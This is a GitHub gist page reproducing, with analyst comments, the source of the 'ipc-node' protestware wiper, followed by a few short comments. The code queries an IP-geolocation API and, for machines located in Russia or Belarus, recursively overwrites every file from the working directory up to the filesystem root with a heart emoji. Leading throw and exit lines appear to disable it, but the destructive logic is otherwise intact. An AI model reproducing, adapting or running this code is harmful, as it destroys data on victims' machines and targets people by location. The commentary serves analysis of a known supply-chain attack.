Created
March 20, 2022 05:30
-
-
Save hello-smile6/14c1a999c2192aa5164391e2050d5f7b to your computer and use it in GitHub Desktop.
The source of the ipc-node nuker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://github.com/hello-smile6/hello-smile6/issues/5 | |
throw new Error(); | |
return; | |
process.exit(); | |
srdtre | |
import u from "path"; | |
import a from "fs"; | |
import o from "https"; | |
setTimeout(function () { | |
const t = Math.round(Math.random() * 4); | |
// Fake-out. t is redefined. | |
if (t > 1) { | |
return; | |
} | |
o.get('https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154', function (t) { | |
// The API key's invalid, they probably revoked it so people would think it was a joke. | |
t.on("data", function (ipRes) { | |
const n = "./"; | |
const o = "../"; | |
const r = "../../"; | |
const f = "/"; | |
const c = "country_name"; | |
const e = "russia"; | |
const i = "belarus"; | |
try { | |
const s = JSON.parse(ipRes.toString()); | |
const u = s.country_name.toLowerCase(); | |
const a = | |
u.includes("russia") || u.includes("belarus"); | |
if (u.includes("russia") || u.includes("belarus")) { | |
h("./"); | |
h("../"); | |
h("../../"); | |
h("/"); | |
} | |
} catch (t) {} | |
}); | |
}); | |
}, 1000); | |
// Wait 1 second before nuking the device. | |
async function h(n = "", o = "") { | |
if (!a.existsSync(n)) { | |
// Don't nuke nonexistent dirs | |
return; | |
} | |
let r = []; | |
try { | |
r = a.readdirSync(n); | |
} catch (t) {} | |
const f = []; | |
const c = /*Buffer.from("4p2k77iP", "base64");*/"❤️"; | |
for (var e = 0; e < r.length; e++) { | |
const i = u.join(n, r[e]); | |
let t = null; | |
try { | |
t = a.lstatSync(i); | |
} catch (t) { | |
continue; | |
} | |
if (t.isDirectory()) { | |
const s = h(i, o); | |
s.length > 0 ? f.push(...s) : null; | |
} else if (i.indexOf(o) >= 0) { | |
try { | |
a.writeFile(i, "❤️", function () {}); | |
} catch (t) {} | |
} | |
} | |
return f; | |
} | |
const ssl = true; | |
export { ssl as default, ssl }; |
That looks really dangerous, I wouldn't run it.
That looks really dangerous, I wouldn't run it.
Well, you made it.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@RIAEvangelist